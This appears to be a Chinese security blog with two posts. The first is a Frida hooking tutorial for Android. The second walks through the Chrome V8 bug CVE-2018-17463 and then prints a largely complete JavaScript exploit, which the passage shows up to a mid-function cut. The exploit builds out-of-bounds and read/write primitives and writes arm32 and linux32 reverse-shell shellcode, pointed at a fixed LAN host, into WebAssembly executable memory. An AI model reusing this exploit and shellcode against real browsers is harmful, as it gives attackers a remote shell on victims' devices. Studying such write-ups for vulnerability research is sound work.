2019-11-28

Android Hook框架Frida实践Part1-安装和使用

1. Android Hook框架Frida实践Part1-安装和使用

1.1. Hook是什么?

hook是一种技术,与编程语言无关,以下引用维基百科的解释:


钩子编程(hooking),也称作“挂钩”,是计算机程序设计术语,
指通过拦截软件模块间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。
处理被拦截的函数调用、事件、消息的代码,被称为钩子(hook)。

钩子编程有多种用途,如调试、扩展功能。
例如在键盘或鼠标事件到达应用程序之前拦截这些事件;拦截应用程序或其他模块的操作系统调用以监督行为、修改功能。

简单的来讲,一个程序执行的顺序为A->B,通过hook对目标程序进行插桩,将执行顺序改为 A->X->B, 这个X过程就是我们hook实现的插桩代码,在X实现过程中,我们可以对A->B之间的数据和逻辑进行接管。 比较常见的应用场景就是各种软件的注册机验证绕过和外挂程序。

1.2. Hook框架介绍

在Android平台,主流的hook框架除了Frida,还包括Xposed和Substrate。 Xposed是一个比较成熟的hook框架,可以完美的在dalvik虚拟机上做到hook任意java方法, 而Substrate则只适用于对native层的hook。

frida 是一款基于 python 和 java 的 hook 框架,是一种动态插桩工具, 可以插入代码到原生App的内存空间中,动态的监视和修改其行行为, 它不但可以hook java层,也能hook nactive层。

在实际安全研究中,我们对 App 进行逆向和动态调试、或自动化分析、需要不断的进行动态调试, Frida 的动态和灵活性对逆向和自动化逆向提供了很大帮助,同时,相较于xposed,frida动态执行不需要重启。

但是如果需要持久化的 Hook 还是需要通过 Xposed 等框架来实现。

1.3. Frida框架介绍

先说下Hook过程中的代码插桩技术,代码插桩可分为两种:

  1. 源代码插桩[Source Code Instrumentation(SCI)]:额外代码注入到程序源代码中。
  2. 二进制插桩(Binary Instrumentation):额外代码注入到二进制可执行文件中。

    静态二进制插桩[Static Binary Instrumentation(SBI)]:在程序执行前插入额外的代码和数据,生成一个永久改变的可执行文件。

    动态二进制插桩[Dynamic Binary Instrumentation(DBI)]:在程序运行时实时地插入额外代码和数据,对可执行文件没有任何永久改变。

动静态修改内存实现作弊一直是刚需,比如某些外挂程序,本质上frida做的跟它是一件事情,都是通过修改内存在改变程序的执行逻辑,理论上是可以用frida来写外挂(实际上确实存在)。

出于编译型语言的特性,机器码在CPU和内存上执行的过程中,其内部数据的交互和跳转,对用户来讲是看不见的,在逆向的工作中,使用frida可以帮助我们拿到这些不可见的数据。

当然如果手上有源码,甚至哪怕有带调试符号的可执行文件包,也可以使用gbd、ida等逆向工具去快速分析,但是在实际研究过程中,大部分的APP对于我们来说都是黑盒。

frida就提供了动态二进制插桩技术,使我们能够对app进行逆向和动态调试、甚至自动化分析以及规模化收集信息。同时还能够细粒度的流程控制和代码级的可定制体系,以及不断对调试进行动态纠正和可编程调试。

frida使用的是python、JavaScript等“胶水语言”也是它火爆的一个原因,可以迅速将逆向过程自动化,以及整合到现有的架构和体系中去。

frida可运行在Android、iOS、Linux和windows等多个平台,它的安装环境和配置要求都非常简单兼容性也非常好,对于逆向者操作破解来说非常方便,因为你只需要编写一段 Javascript/Python/C 代码就能轻松地对指定的函数进行Hook。

frida架构图如下所示:

frida_architecture.png

通过Frida框架,我们可以做到的事情包括但不限于:

  1. 访问进程的内存空间
  2. 改变程序运行逻辑
  3. 调用目标程序中的函数
  4. 在堆上查找对象实例并使用这些对象实例
  5. Hook,动态跟踪、拦截变量和函数
  6. 记录目标代码块执行覆盖率等

更多的介绍详见官网 firda

1.4. 安装和使用

frida 框架的安装包括客户端和服务端。

Python安装环境,adb工具包,android模拟器请自行安装。

  1. 客户端安装

    运行在本机,用于将要注入的 JS 代码发送到服务端,并接受服务端发来的消息。

    客户端安装不分平台,只需要支持Python环境即可,同时需要安装adb工具。

    执行pip命令安装frida客户端:

    pip install -i https://pypi.tuna.tsinghua.edu.cn/simple frida frida-tools
    
    

    查看版本,如果有类似如下版本输出信息,则客户端安装成功。

    
    ╰─ frida version
        ____
        / _  |   Frida 15.0.2 - A world-class dynamic instrumentation toolkit
      | (_| |
        > _  |   Commands:
      /_/ |_|       help      -> Displays the help system
      . . . .       object?   -> Display information about 'object'
      . . . .       exit/quit -> Exit
      . . . .
      . . . .   More info at https://frida.re/docs/home/
    
    
  2. 服务端安装

    运行在目标设备中,用于注入JS代码到目标进程,操作内存数据,并将相关信息发送至给客户端。

    frida下载页面下载服务端可执行文件,以 frida-server- 开头,注意目标平台CPU架构。

    可以通过adb命令查看cpu架构:

    adb shell getprop ro.product.cpu.abi
    

    本次实验选用的是 x86-64 的android虚拟机,因此下载包为 frida-server-15.0.2-android-x86_64.xz

    解包之后push到目标设备中

    unxz frida-server-15.0.2-android-x86_64.xz
    
    adb root
    adb push frida-server-15.0.2-android-x86_64 /data/local/tmp/frida-server
    adb shell "chmod 755 /data/local/tmp/frida-server"
    adb shell "/data/local/tmp/frida-server &"
    
    

    在主机中执行命 frida-ps -U 查看下目标设备中的进程,如果正确显示,则服务端安装成功。

    
    PID  Name
    ----  --------------------------------------------------
    2633  Calendar
    2866  Gmail
    2270  Google App
    2566  Google Play Music
    3308  Hangouts
    2720  Maps
    2756  Messenger
    2783  Photos
    1943  Settings
    3015  YouTube
    4938  adbd
    2296  android.process.acore
    ...
    
    

1.5. 小试牛刀

frida安装完成后,先用frida提供的cli来测试一下hook能力,如要跟踪Chrome中的open函数.

  1. 在设备上打开Chrome, cli模式下需要先打开,不然找不到目标进程,后续写脚本可以省略该步骤。
  2. 在主机终端中输入追踪命令 frida-trace -U -i open com.android.chrome:privileged_process0

    
    ╰─ frida-trace -U -i open com.android.chrome:privileged_process0
    
     Instrumenting...
     open: Loaded handler at "Frida/__handlers__/libc.so/open.js"
     Started tracing 1 function. Press Ctrl+C to stop.
    
    
  3. 对设备中的Chrome进行操作,Chrome每次调用函数open的操作就会打印在终端中,输出结果类似如下:

help_frida_usage_open_01.png

同时我们注意到,跟踪成功后,会在当前路径下创建JavaScript文件 Frida/__handlers__/libc.so/open.js,

Frida会将JavaScript文件中的代码注入到进程中并跟踪指定的函数调用,我们看下js代码:

{
    onEnter(log, args, state) {
        log('open()');
    },
    onLeave(log, retval, state) {
    }
}

其中,onEnter是open函数即将被执行时会被调用,而onLeave是open函数执行完毕时会被调用,我们可以修改代码来实现Hook功能, 如将open函数的参数args打印出来:

{
    onEnter(log, args, state) {
        log('open called args[0] address: ' + args[0] + ', value: ' + Memory.readUtf8String(args[0], 8));
    },
    onLeave(log, retval, state) {
    }
}

运行后,就会将参数内容作为字符串输出到控制台,如下所示:

help_frida_usage_open_02.png

至此,本章内容暂时结束,下一章节计划介绍如何通过编写js代码实现自动hook,通过编写实际的例子,已知的APP漏洞进行风险检测。

Author: idhyt

Created: 2019-11-29 Fri 09:46

Validate

2019-03-01

CVE-2018-17463 Chrome OOB Exploit

1. CVE-2018-17463 Chrome OOB Exploit

1.1. 1.find collision

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    x2: 0x4102,
    ...
}

badCreate {
    o.a
    this.Object.create(o)
    return 对象的 x1-xn的值 [o.x1, o.x2, ..., o.xn]
}

如果 xn != 0x4100 + n 说明碰撞成功

例如循环N次中:

obj = {
    a: 0,
    x0: 0x4040,
    x1: 0x4101,
    ...
}

obj 经过badCreate 返回 [
    0x4040,     // x0
    0x4041,     // x1
    0x4042,     // x2
    0x4043,     // x3
    0x4044,     // x4
    0x4042,     // x5 == obj.x2
    0x4046,     // x6
    0x4047,     // x7
    0x4048,     // x8
    ...
]

找到了碰撞的两个值 分别为 x5 和 x2

假如原来 x5 = [obj + 0x10] 触发漏洞以后 x5 = [obj + 0x10] = x2的值

即内存相同偏移的数据改变了, 当我们要获取x5的值时, 其实拿到的是x2的值, 当要写入x5的值时, 其实写到的是x2的内存

1.2. 2.relative offsets

每次执行的碰撞值是不同的,如执行三次:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x25 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x21 & x8 are collision in directory
egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x15 & x4 are collision in directory

在一次执行过程中,相同属性构造的Object,在DictionaryProperties中的偏移是相同的。

如获取一次碰撞数据之后,立即创建新的对象, 并将对象打印出来:

egg@ubuntu:~/Working/cve-2018-17463$ ./runpoc
[+] x6 & x9 are collision in directory
[!] set object base to 12340000
[0]: 49
[1]: 0
[2]: 128
[3]: 50
[4]: 0
[5]: x9
[6]: 12340009
[7]: 3008
[8]: x12
[9]: 12340012
....

结果显示相同位置的 x6 数据和 x9 数据发生了碰撞,与前边寻找到的碰撞偏移结果相同。

1.3. 3.array oob

当前碰撞位置为数据,如果碰撞位置为对象的话,就可以通过写操作去修改对象属性

getCleanSpace()
let oobArray = new Array(0x3)
getCleanSpace()
const oobArrayBuffer = new ArrayBuffer(0x2000)
getCleanSpace()
let oobObject = { a: 0x1111, b: 0x2222, c:0x3333 }
getCleanSpace()

创建三个相邻对象,分别为 Array, ArrayBuffer, Object, 在内存中的布局(偏移通过调试获得):

----> Array
...
+0xc:   00000006     length
+0x14:  00000006     length
...
----> ArrayBuffer
...
+0x10:  56c4b920     backing_store
...
----> Object
...
+0xc:   00002222     #a
+0x10:  00004444     #b
+0x14:  00006666     #c
...

当我们碰撞的是 Array 和 Object 时, 我们修改 Object第一个值和第三个值, 相当于修改了 Array.length, 造成 Array 越界, 从而可以控制 ArrayBuffer.backing_store的指向,以及后边的Object对象

1.4. 4.leak object

oobArray越界之后, 找到 oobObject.a 在 oobArray 中的索引 index

之后通过 设置 oobObject.a = func 可以通过 oobArray[index] 泄漏 func 对象地址

1.5. 5.rw ability

oobArray越界之后, 找到 oobArrayBuffer.backing_store 在 oobArray 中的索引 index

之后通过 设置 oobArray[index] 来改变 oobArrayBuffer.backing_store 指向

最后通过 oobArrayBuffer 的 DataView 来进行读写操作

1.6. 6.shellcode

定义WebAssembly函数, 将 shellcode 覆盖导出函数,然后执行导出函数即可

写入位置为:

JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]

1.7. 7.exe flow

egg@ubuntu:~/Working/cve-2018-17463$ ./runexp
[+] CVE-2018-17463 exists in the d8
[+] x15 & x13 are collision in directory
[*] ---------- array oob before ---------- *
[*] fArray[3]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[+] 2459 times, oob Array Length: 3 -> 16
[*] ---------- array oob after ---------- *
[*] fArray[16]:
[0] 0x0:  0x40404040
[0] 0x4:  0x0
[1] 0x8:  0x41414141
[1] 0xc:  0x0
[2] 0x10: 0xdeadbeef
[2] 0x14: 0x0
[3] 0x18: 0x4fe051b9
[3] 0x1c: 0x2a9846d1
[4] 0x20: 0x2a9846d1
[4] 0x24: 0x2000
[5] 0x28: 0x57007de0
[5] 0x2c: 0x2
[6] 0x30: 0x0
[6] 0x34: 0x0
[7] 0x38: 0x4fe09859
[7] 0x3c: 0x2a9846d1
[8] 0x40: 0x2a9846d1
[8] 0x44: 0x8282
[9] 0x48: 0x2a9841a5
[9] 0x4c: 0x12a
[10]  0x50: 0x62
[10]  0x54: 0x2a985425
[11]  0x58: 0x3a894cd1
[11]  0x5c: 0x10c80
[12]  0x60: 0x2
[12]  0x64: 0x3592e38d
[13]  0x68: 0x204c80
[13]  0x6c: 0x2
[14]  0x70: 0x3592e39d
[14]  0x74: 0x400480
[15]  0x78: 0x2
[15]  0x7c: 0x3592e3ad
[*] find index of oobArray...
[*] to fixed backing_store index 4,1
[+] backing_store index in oobArray: 5,0
[+] object index in oobArray:8,1
the gay is lazy, nothing left.
[*] WebAssembly function return: 0x41414141
[+] JSFunciton addr: 0x421a1145
[+] SharedFunctionInfo addr: 0x421a1121
[+] WasmExportedFunctionData addr: 0x421a110d
[+] WasmInstanceObject addr: 0x421a1035
[+] imported_function_targets addr: 0x5700c170
[+] rwx_entry addr: 0x2252c4e0
[*] write shellcode at rwx_entry memory: 0x2252c4e0
[*] dangerous to run shellcode...

1.8. exploit32

/*CVE-2018-17463
  Incorrect side effect annotation in V8 in Google Chrome
  prior to 70.0.3538.64 allowed a remote attacker
  to execute arbitrary code inside a sandbox via a crafted HTML page.

  adb logcat | grep chromium
*/
/*
  ---------- utils ---------- start ----------
*/
class Log {
    constructor(l, s=false){
        this.level = l
        this.syntax = s
        this.lv = {
            debug: 0,
            warn: 1,
            success: 2,
            error: 3,
        }
    }

    setLevel(l) {
        this.level = l
    }

    toString(v, l) {
        var s = v
        if (v.__proto__ === Object.prototype || v.__proto__ === Array.prototype) {
            s = JSON.stringify(
                v/*,
                   function replacer(k, v) {
                   if (Math.floor(v) === v) {
                   return '0x' + v.toString(16)
                   }
                   return v
                   }*/
            )
        }

        switch(l) {
        case this.lv.debug:
            return '[*] ' + s
            break;
        case this.lv.warn:
            return '[!] ' + s
            break;
        case this.lv.success:
            return '[+] ' + s
            break;
        case this.lv.error:
            return '[-] ' + s
            break;
        default:
            return s
        }
    }

    debug(v) {
        if(this.lv.debug >= this.level ) {
            if (this.syntax) {
                eval(`;%DebugPrint(v);`)
            } else {
                console.log(this.toString(v, this.lv.debug))
            }
        }
    }

    warn(v) {
        if(this.lv.warn >= this.level ) {
            console.log(this.toString(v, this.lv.warn))
        }
    }

    success(v) {
        if(this.lv.success >= this.level ) {
            console.log(this.toString(v, this.lv.success))
        }
    }

    error(v) {
        if(this.lv.error >= this.level ) {
            console.log(this.toString(v, this.lv.error))
        }
        eval(`
            throw new Error()
        `)
    }

    break() {
        if (this.syntax) {
            eval(`;%SystemBreak();`)
        }
    }
    /*
      print float Array
    */
    fArray(a, bs=8) {
        if (this.level > this.lv.debug) {
            return
        }
        if(bs === 4) {
            console.log('[*] uArray[' + a.length + ']:')
            for(let i = 0; i < a.length; i++) {
                console.log('\t[' + i + ']:\t+0x' + (i*bs).toString(16) + ':\t0x' + a[i].toString(16))
            }
        } else
            if(bs === 8) {
                console.log('[*] fArray[' + a.length + ']:')
                for(let i = 0; i < a.length; i++) {
                    const [lo, hi] = funcUtils.f2u(a[i])
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs).toString(16) + ':\t0x' + lo.toString(16))
                    console.log('\t[' + i + ']\t' + '0x' + (i*bs+(bs/2)).toString(16) + ':\t0x' + hi.toString(16))
                }
            }
    }
}

const dlog = new Log(0, false)


const __EXPERI__ = false
const __ANDROID__ = true


var funcUtils = (
    function() {
        return {
            f2u: function(v) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                f64[0] = v
                return u32
            },

            u2f: function(lo, hi) {
                let f64 = new Float64Array(1)
                let u32 = new Uint32Array(f64.buffer)
                u32[0] = lo
                u32[1] = hi
                return f64
            },

            utf8ToString: function(h, p) {
                let s = ""
                for (i = p; h[i]; i++) {
                    s += String.fromCharCode(h[i])
                }
                return s
            },

            /*
              find value index of float array
              if bs === 4:
              return [index, 0/1]
              if bs === 8:
              return [indxe, 0]
            */
            fArrayIndexOf: function(a, v, bs=4) {
                for(let i = 0; i < a.length; i++) {
                    if (bs === 8) {
                        if (a[i] === v) return [i, 0]
                    } else
                        if (bs === 4) {
                            const [lo, hi] = this.f2u(a[i])
                            // console.log('0x' + lo.toString(16) + ', 0x' + hi.toString(16))
                            if (lo === v) return [i, 0]
                            if (hi === v) return [i, 1]
                        }
                }
                return null
            },

            getWasmFunc: function() {
                /*
                  int hack(int x) {
                  int ret = puts("the gay is lazy, nothing left.");
                  return ret + x;
                  }
                */
                let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,104,97,99,107,0,1,10,143,128,128,128,0,1,137,128,128,128,0,0,65,16,16,0,32,0,106,11,11,165,128,128,128,0,1,0,65,16,11,31,116,104,101,32,103,97,121,32,105,115,32,108,97,122,121,44,32,110,111,116,104,105,110,103,32,108,101,102,116,46,0])
                let wasmImports = {
                    env: {
                        puts: function puts (i32) {
                            // console.log(i32)
                            // console.log('the gay is lazy, nothing left.')
                            console.log(funcUtils.utf8ToString(h, i32))
                            return 0x41414141
                        }
                    }
                }

                let wasmInstance = new WebAssembly.Instance(new WebAssembly.Module(wasmCode), wasmImports)
                let h = new Uint8Array(wasmInstance.exports.memory.buffer)
                return wasmInstance.exports.hack
            },

            getWasmOff: function() {
                if (__ANDROID__) {
                    // JSFunciton -> JS_TO_WASM_FUNCTION -> Instructions
                    return [0x18, 0x40]
                } else {
                    // JSFunciton -> SharedFunctionInfo -> WasmExportedFunctionData -> instance -> imported_function_targets[x]
                    return [0xc, 0x4, 0x8, 0x64, 0x0]
                }
            },

            getShellCode: function() {
                if(__ANDROID__) {
                    return [
                        /* arm32 reverse shell 192.168.0.222 12315 */
                        0x02, 0x70, 0xa0, 0xe3, 0x00, 0x00, 0x00, 0xef,
                        0x00, 0x00, 0x50, 0xe3, 0x02, 0x00, 0x00, 0x0a,
                        0x00, 0x00, 0xa0, 0xe3, 0x01, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x42, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0xa0, 0xe3,
                        0x01, 0x10, 0xa0, 0xe3, 0x05, 0x20, 0x81, 0xe2,
                        0x01, 0x7c, 0xa0, 0xe3, 0x19, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x00, 0x60, 0xa0, 0xe1,
                        0x6c, 0x10, 0x8f, 0xe2, 0x10, 0x20, 0xa0, 0xe3,
                        0x01, 0x7c, 0xa0, 0xe3, 0x1b, 0x70, 0x87, 0xe2,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x00, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x01, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x06, 0x00, 0xa0, 0xe1,
                        0x02, 0x10, 0xa0, 0xe3, 0x3f, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x30, 0x00, 0x8f, 0xe2,
                        0x04, 0x40, 0x24, 0xe0, 0x10, 0x00, 0x2d, 0xe9,
                        0x36, 0x30, 0x8f, 0xe2, 0x08, 0x00, 0x2d, 0xe9,
                        0x0d, 0x20, 0xa0, 0xe1, 0x10, 0x00, 0x2d, 0xe9,
                        0x23, 0x40, 0x8f, 0xe2, 0x10, 0x00, 0x2d, 0xe9,
                        0x0d, 0x10, 0xa0, 0xe1, 0x0b, 0x70, 0xa0, 0xe3,
                        0x00, 0x00, 0x00, 0xef, 0x02, 0x00, 0x30, 0x1b,
                        0xc0, 0xa8, 0x00, 0xde, 0x2f, 0x73, 0x79, 0x73,
                        0x74, 0x65, 0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x2f,
                        0x73, 0x68, 0x00, 0x73, 0x68, 0x00, 0x50, 0x41,
                        0x54, 0x48, 0x3d, 0x2f, 0x73, 0x62, 0x69, 0x6e,
                        0x3a, 0x2f, 0x76, 0x65, 0x6e, 0x64, 0x6f, 0x72,
                        0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x79,
                        0x73, 0x74, 0x65, 0x6d, 0x2f, 0x73, 0x62, 0x69,
                        0x6e, 0x3a, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65,
                        0x6d, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73,
                        0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x78, 0x62,
                        0x69, 0x6e, 0x00, 0x00,
                    ]
                } else {
                    return [
                        /* linux bash shell
                           0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68,
                           0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x89,
                           0xc1, 0x89, 0xc2, 0x6a, 0x0b, 0x58, 0xcd, 0x80,
                        */
                        /* linux32 reverse shell 192.168.0.222 12315 */
                        0x31, 0xc0, 0x89, 0xc3, 0x50, 0x6a, 0x01, 0x6a,
                        0x02, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd, 0x80,
                        0x43, 0x68, 0xc0, 0xa8, 0x00, 0xde, 0x66, 0x68,
                        0x30, 0x1b, 0x66, 0x53, 0x89, 0xe1, 0x6a, 0x10,
                        0x51, 0x50, 0x43, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
                        0x80, 0x5b, 0x6a, 0x02, 0x59, 0xb0, 0x3f, 0xcd,
                        0x80, 0x49, 0x79, 0xf9, 0x31, 0xc9, 0x31, 0xd2,
                        0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
                        0x62, 0x69, 0x6e, 0x89, 0xe3, 0x31, 0xc0, 0xb0,
                        0x0b, 0xcd, 0x80,
                    ]
                }
            }

        }
    }
)()

function gc() {
    for(var i=0;i<(1024*1024)/16;i++){
        var a = new String()
    }
}

function getCleanSpace() {
    gc()
    gc()
    gc()
}

/*
  ---------- utils ---------- end ----------
*/

var fixedObject = (
    function() {
        let name = 'x'
        let length = 0x30
        let base = 41410000
        return {
            new: function() {
                var obj = { a: 0 }
                for(let n = 0; n < length; n++) {
                    eval(`obj.${name + n} = ${base + n};`)
                }
                return obj
            },
            attr: function() {
                var arr = []
                for (let n = 0; n < length; n++) {
                    arr[n] = name + n
                }
                return arr
            },
            init: function() {
                name = 'x'
                length = 0x30
                base = 41410000
            },
            get: function(t) {
                switch (t) {
                case 'n':
                    return name
                case 'l':
                    return length
                case 'b':
                    return base
                default:
                    return ''
                }
            },
            set: function(t, v) {
                switch (t) {
                case 'n':
                    name = v
                    break
                case 'l':
                    length = v
                    break
                case 'b':
                    base = v
                    break
                default:
                    break
                }
            },
            oob: function(X, Y, oa) {
                /*
                  collision: X, Y
                  oobArray: oa
                */
                var obj = { a: 0 }
                const x = name
                for(let n = 0; n<length; n++) {
                    if((x + n) == X) {
                        eval(`obj.${X} = { x: { x1: 4141, x2:2, x3:3, x4:4, x5:5 } }`)
                    } else if ((x + n) == Y) {
                        eval(`obj.${Y} = { y: oa }`)
                    } else {
                        eval(`obj.${x + n} = {}`)
                    }
                }
                return obj
            }
        }
    }
)()

function findCollision() {
    const attrs = fixedObject.attr()
    const base = fixedObject.get('b')
    const name = fixedObject.get('n')
    const len = fixedObject.get('l')

    // the Collision values for [x, y]
    var COVS = new Array(2)

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            ${attrs.map((v) => `let ${v} = o.${v};`).join('\n')}
            return [${attrs.join(', ')}];
        }
    `)

    for (let i = 0; i < 10000; i++) {
        // get bad object attr values.
        let av = badCreate(fixedObject.new())
        // dlog.debug(i + ': ' + av)
        for (let j = 0; j < av.length; j++) {
            if(av[j] != j + base && av[j] > base && av[j] < base + len ){
                // dlog.debug(i + ': ' + av[j] + ' Array=> ' + av)
                COVS[0] = name + j
                COVS[1] = name + (av[j] - base)
                // dlog.success(COVS[0] + ' & ' + COVS[1] + " are collision in directory")
                dlog.break()

                if(__EXPERI__) {
                    // debug to check Relative offset
                    fixedObject.set('b', 12340000)
                    dlog.warn('set object base to ' + fixedObject.get('b'))
                    obj = fixedObject.new()
                    av = badCreate(obj)
                    fixedObject.print(av)
                }

                return COVS
            }
        }
    }
    dlog.error('collision not found!')
    return false
}

function oobArrayLength(cols, oobArray, oobLen){
    /*
      cols: 碰撞的两个对象
      oobArray: 需要修改长度的Array对象
    */
    const orgLen = oobArray.length
    const [X, Y] = cols

    eval(`
        function badCreate(o){
            o.a
            this.Object.create(o)
            // let ret = o.${X}.x.x1
            o.${X}.x.x1 = oobLen
            o.${X}.x.x3 = oobLen
            // return ret
        }
    `)
    for (let i = 0; i < 10000; i++) {
        // let ret =
        badCreate(fixedObject.oob(X, Y, oobArray))
        // dlog.debug('[' + i + ']: ' + ret + ', length: ' + oobArray.length)
        // if(ret != 4141) {
        if(oobArray.length != orgLen) {
            dlog.success(i + ' times, oob Array Length: ' + orgLen + ' -> ' + oobArray.length)
            return oobArray.length
        }
    }
    dlog.error('oob Array Length failed!')
}


function checkVul(){
    function badCreate(o) {
        o.a // = 0x10
        Object.create(o)
        return o.b
    }
    for (let i = 0; i < 10000; i++) {
        let obj = { a: 0x1 }
        obj.b = 0x4141
        obj.c = 0x3
        obj.d = 0x4
        obj.e = 0x5
        // r = obj元素个数
        const r = badCreate(obj)
        // console.log(i + ' bad.b=0x' + r.toString(16))
        if ( r !== 0x4141 ) {
            // dlog.success(i + ': ' + r + '!=' + obj.b)
            // console.log("CVE-2018-17463 exists in the d8")
            return true
        }
    }
    return false
}

function wasmFunc() {

}

function exploit() {
    if(checkVul()) {
        dlog.success('CVE-2018-17463 exists in the d8')
    } else {
        dlog.error('CVE-2018-17463 not exists in the d8')
        return false
    }

    getCleanSpace()

    let oobArray = new Array(0x3)
    oobArray[0] = 5.325793356e-315 // funcUtils.u2f(0x40404040, 0)
    oobArray[1] = 5.40900888e-315 // funcUtils.u2f(0x41414141, 0)
    oobArray[2] = 1.8457939563e-314 //funcUtils.u2f(0xdeadbeef, 0)
    getCleanSpace()

    let oobLen = 0x2000
    let oobArrayBuffer = new ArrayBuffer(oobLen)
    getCleanSpace()

    let oobObj = { a: 0x4141 }
    getCleanSpace()

    const cols = findCollision()
    dlog.success(cols[0] + ' & ' + cols[1] + " are collision in directory")

    dlog.debug('---------- array oob before ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    oobArrayLength(cols, oobArray, 0x10)
    dlog.debug('---------- array oob after ---------- *')
    // dlog.debug(oobArray)
    dlog.fArray(oobArray)
    /* uArray
       [*] fArray[16]:
       [0]  0x0:  0x40404040
       [0]  0x4:  0x0
       [1]  0x8:  0x41414141
       [1]  0xc:  0x0
       [2]  0x10: 0xdeadbeef
       [2]  0x14: 0x0
       [3]  0x18: 0x28b04101
       [3]  0x1c: 0x30
       [4]  0x20: 0x25399731
       [4]  0x24: 0xcccccccc
       [5]  0x28: 0xcccccccc
       [5]  0x2c: 0xcccccccc
       [6]  0x30: 0x50e851b9
       [6]  0x34: 0x28b046d1
       [7]  0x38: 0x28b046d1
       [7]  0x3c: 0x2000
       [8]  0x40: 0x57556db0
       [8]  0x44: 0x2
       [9]  0x48: 0x0
       [9]  0x4c: 0x0
       [10] 0x50: 0x50e89949
       [10] 0x54: 0x28b046d1
       [11] 0x58: 0x28b046d1
       [11] 0x5c: 0x8282
       [12] 0x60: 0x28b072e9
       [12] 0x64: 0x3c585d6d
       [13] 0x68: 0x28b042ed
       [13] 0x6c: 0x0
       [14] 0x70: 0x0
       [14] 0x74: 0x28b042ed
       [15] 0x78: 0x4
       [15] 0x7c: 0x28b042ed
    */
    dlog.debug('find index of oobArray...')
    let backingStoreIndex = []
    let objectIndex = []

    // in release will 0x4000
    let alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen)
    if (alIndex === null ) alIndex = funcUtils.fArrayIndexOf(oobArray, oobLen*2)
    if (alIndex === null) {
        dlog.error('find backing_store index failde!')
        return false
    } else {
        dlog.debug('to fixed backing_store index ' + alIndex)
    }
    /*
      [5, 1] -> [6, 0]
      [5, 0] -> [5, 1]
    */

    backingStoreIndex = [alIndex[0] + (alIndex[1]%2), (alIndex[1]+1)%2]
    dlog.success('backing_store index in oobArray: ' + backingStoreIndex)

    findV = oobObj.a * 2
    objectIndex = funcUtils.fArrayIndexOf(oobArray, findV)
    dlog.success('object index in oobArray:' + objectIndex)

    function addrOf(obj) {
        /*
          read obj point by oobArray
        */
        oobObj.a = obj
        const [index ,off] = objectIndex
        return funcUtils.f2u(oobArray[index])[off]
    }

    function unit32RW(address, type=1, value=0) {
        /*
          read/write value/array by oobArray.backing_store
          1: read
          2: write
        */
        const [index ,off] = backingStoreIndex
        const [org0, org1] = funcUtils.f2u(oobArray[index])
        let f64 = 0
        if (off === 0) {
            [f64] = funcUtils.u2f(address, org1)
        } else
            if (off === 1) {
                [f64] = funcUtils.u2f(org0, address)
            }
        oobArray[index] = f64
        // dlog.fArray(oobArray)

        var dv = new DataView(oobArrayBuffer)
        if(type === 1) {
            return dv.getUint32(0, true)
        } else
            if (type === 2) {
                if (value.__proto__ === Array.prototype) {
                    for(let i = 0; i < value.length; i++) {
                        dv.setUint32(i, value[i], true)
                    }
                } else
                    if (value.__proto__ === Number.prototype) {
                        dv.setUint32(0, value, true)
                    }
            }
    }

    const f = funcUtils.getWasmFunc()
    dlog.debug('WebAssembly function return: 0x' + f().toString(16))

    const JSFunciton = addrOf(f)
    dlog.success('JSFunciton addr: 0x' + JSFunciton.toString(16))

    let wasmOff = funcUtils.getWasmOff()
    let rwx_entry = 0

    if (__ANDROID__) {
        const js2WasmCode = unit32RW(JSFunciton-1 + wasmOff[0])
        dlog.success('JS_TO_WASM_FUNCTION addr: 0x' + js2WasmCode.toString(16))

        const js2WasmIns = js2WasmCode-1 + wasmOff[1]
        dlog.success('Instructions addr: 0x' + js2WasmIns.toString(16))

        rwx_entry = js2WasmIns

    } else {
        const SharedFunctionInfo = unit32RW(JSFunciton-1 + wasmOff[0])
        if(SharedFunctionInfo === 0) dlog.error('SharedFunctionInfo = 0')
        dlog.success('SharedFunctionInfo addr: 0x' + SharedFunctionInfo.toString(16))

